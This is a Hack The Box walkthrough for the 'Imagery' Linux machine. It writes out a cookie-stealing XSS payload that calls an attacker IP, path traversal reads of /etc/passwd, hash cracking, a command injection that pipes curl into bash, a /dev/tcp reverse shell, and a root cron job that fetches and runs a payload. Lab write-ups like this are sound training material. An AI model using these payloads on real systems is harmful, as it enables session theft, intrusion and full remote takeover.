> m4rt@CTF_ARCHIVE:~$

Hack The Box / LINUX / 2026-01-24

Hack The Box — Imagery (Linux)

Stored XSS steals an admin session, path traversal exposes source and hashes, command injection grants web shell, and charcol abuse leads to root.

Target

Target IP: 10.129.162.243

Initial Enumeration

sudo nmap -sC -sV 10.129.162.243 -p- -v
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.7p1 Ubuntu 7ubuntu4.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 35:94:fb:70:36:1a:26:3c:a8:3c:5a:5a:e4:fb:8c:18 (ECDSA)
|_  256 c2:52:7c:42:61:ce:97:9d:12:d5:01:1c:ba:68:0f:fa (ED25519)
8000/tcp open  http    Werkzeug httpd 3.1.3 (Python 3.12.7)
|_http-title: Image Gallery
| http-methods:
|_  Supported Methods: HEAD GET OPTIONS
|_http-server-header: Werkzeug/3.1.3 Python/3.12.7
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Go to http://10.129.162.243:8000/.

It is a website built with Python.

The Wappalyzer browser extension tells us it is Flask 3.1.3.

Register and log in.

We can see that we can report bugs.

Start listening with an HTTP server:

python3 -m http.server 5555

Report a bug.

Put this XSS payload in the description:

<img src=x onerror=fetch('http://10.10.14.159:5555/pwnd?c='+document.cookie)>

Send the report and wait.

In the terminal with the server, we get a cookie:

10.129.162.243 - - [30/Sep/2025 23:18:11] "GET /pwnd?c=session=.eJw9jbEOgzAMRP_Fc4UEZcpER74iMolLLSUGxc6AEP-Ooqod793T3QmRdU94zBEcYL8M4RlHeADrK2YWcFYqteg571R0EzSW1RupVaUC7o1Jv8aPeQxhq2L_rkHBTO2irU6ccaVydB9b4LoBKrMv2w.aNxlMQ.PTcd1fFAEIZz1syHo8TodFplbMo HTTP/1.1" 404 -

Set the cookie in the browser.

Now we are admin.

We have access to the admin panel.

We can download the log for the admin user.

Intercept the request with Burp and send it to Repeater.

Set the path like this:

/admin/get_system_log?log_identifier=/etc/passwd

Send the request.

We get the passwd file.

We notice the users web and mark.

/admin/get_system_log?log_identifier=/proc/self/cmdline
/home/web/web/env/bin/python app.py

We now have the path of the Python application.

We can retrieve the source code:

/admin/get_system_log?log_identifier=/home/web/web/app.py

From app.py we see other Python files to retrieve: api_admin.py, api_auth.py, api_edit.py, api_manage.py, api_misc.py, api_upload.py, config.py, utils.py.

Then we see there is a db.json file.

Inside, there is info for the admin and testuser users:

            "username": "admin@imagery.htb",
            "password": "5d9c1d507a3f76af1e5c97a3ad1eaa31",
            "isAdmin": true,

            "username": "testuser@imagery.htb",
            "password": "2c65c8d7bfbca32a3ed42596192384f6",
            "isAdmin": false,

From utils.py, we discover these are MD5 password hashes.

Put the hashes in a file named hash:

hashcat -a 0 -m 0 ./hash /usr/share/wordlists/rockyou.txt

The testuser hash is cracked:

2c65c8d7bfbca32a3ed42596192384f6:iambatman

Command Injection via Image Transform

From api_edit.py, we notice that subprocess.run() is used with shell=True, which is highly vulnerable to command injection.

These calls are made in the apply_visual_transform function, which corresponds to the apply_visual_transform endpoint.

To access this endpoint, we must be testuser. We have the password, so no problem.

We notice only the crop operation uses shell=True:

subprocess.run(command, capture_output=True, text=True, shell=True, check=True)

So we will use this option.

We try to get a reverse shell.

Create a file rev with this content:

bash -i >& /dev/tcp/10.10.14.159/4444 0>&1

Start listeners:

python3 -m http.server 5555
nc -vlnp 4444

Log in as testuser.

Upload any image.

Click the three dots. There is a menu with several options.

We need the transform image option.

Choose the crop operation.

Click apply transformation, intercept the request with Burp, and send it to Repeater.

For example, change width like this:

"width":"$(curl http://10.10.14.159:5555/rev | bash)",

Send the request.

We get a reverse shell as user web.

cd
cat web/bot/admin.py

We notice:

USERNAME = "admin@imagery.htb"
PASSWORD = "strongsandofbeach"
BYPASS_TOKEN = "K7Zg9vB$24NmW!q8xR0p%tL!"
APP_URL = "http://0.0.0.0:8000"
ls -la /var/backup/web_20250806_120723.zip.aes
-rw-rw-r-- 1 root root 23054471 Aug  6  2024 /var/backup/web_20250806_120723.zip.aes

Download it to the attacker machine.

file web_20250806_120723.zip.aes
web_20250806_120723.zip.aes: AES encrypted data, version 2, created by "pyAesCrypt 6.1.1"
pip install pyAesCrypt

We can decrypt using this Python code:

import pyAesCrypt
pyAesCrypt.decryptFile("web_20250806_120723.zip.aes", "web_20250806_120723.zip", password)

But if we try the various discovered passwords, it does not work.

We can use this tool: https://github.com/Nabeelcn25/dpyAesCrypt.py

git clone https://github.com/Nabeelcn25/dpyAesCrypt.py.git
python3 dpyAesCrypt.py/dpyAesCrypt.py web_20250806_120723.zip.aes /usr/share/wordlists/rockyou.txt
Password found: bestfriends
File decrypted successfully as: web_20250806_120723.zip
unzip web_20250806_120723.zip
cd web
cat db.json

We notice:

            "username": "mark@imagery.htb",
            "password": "01c3d2e5bdaf6134cec0a367cf53e535",

            "username": "web@imagery.htb",
            "password": "84e3c804cf1fa14306f26f9f3da177e0",

Put the hashes in a file named hash:

hashcat -a 0 -m 0 ./hash /usr/share/wordlists/rockyou.txt

We get:

01c3d2e5bdaf6134cec0a367cf53e535:supersmash

Privilege Escalation to mark

su mark

Enter password supersmash.

We get a shell as user mark.

sudo -l
Matching Defaults entries for mark on Imagery:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User mark may run the following commands on Imagery:
    (ALL) NOPASSWD: /usr/local/bin/charcol
sudo charcol help
usage: charcol.py [--quiet] [-R] {shell,help} ...

Charcol: A CLI tool to create encrypted backup zip files.

positional arguments:
  {shell,help}          Available commands
    shell               Enter an interactive Charcol shell.
    help                Show help message for Charcol or a specific command.

options:
  --quiet               Suppress all informational output, showing only
                        warnings and errors.
  -R, --reset-password-to-default
                        Reset application password to default (requires system
                        password verification).
sudo charcol -R
Attempting to reset Charcol application password to default.
[2025-10-01 01:10:19] [INFO] System password verification required for this operation.
Enter system password for user 'mark' to confirm:

Enter password supersmash.

[2025-10-01 01:10:31] [INFO] System password verified successfully.
Removed existing config file: /root/.charcol/.charcol_config
Charcol application password has been reset to default (no password mode).
Please restart the application for changes to take effect.
sudo charcol shell

Choose 1 and set a random password, for example hello.

sudo charcol shell
backup -i /root -o /tmp

We see there are path checks, and for example we cannot back up files inside /root.

Let's take the charcol sources:

sudo charcol backup -i /usr/local/lib/charcol
[2025-10-01 01:40:39] [INFO] Encryption successful! Encrypted backup saved to: /var/backup/charcol_20251001_014039.zip.aes

Copy it to the attacker machine:

python3 -c 'import pyAesCrypt; password="hello"; pyAesCrypt.decryptFile("charcol_20251001_014039.zip.aes", "charcol_20251001_014039.zip", password)'
unzip charcol_20251001_014039.zip

We now have the source code.

Privilege Escalation to Root

We can create cron jobs.

Let's create a cron job to get a reverse shell.

Start listeners:

python3 -m http.server 5555
nc -vlnp 4444

On the victim machine:

sudo charcol shell
auto add --schedule '* * * * *' --command 'curl http://10.10.14.159:5555/rev|bash'

Wait.

We get a reverse shell as user root.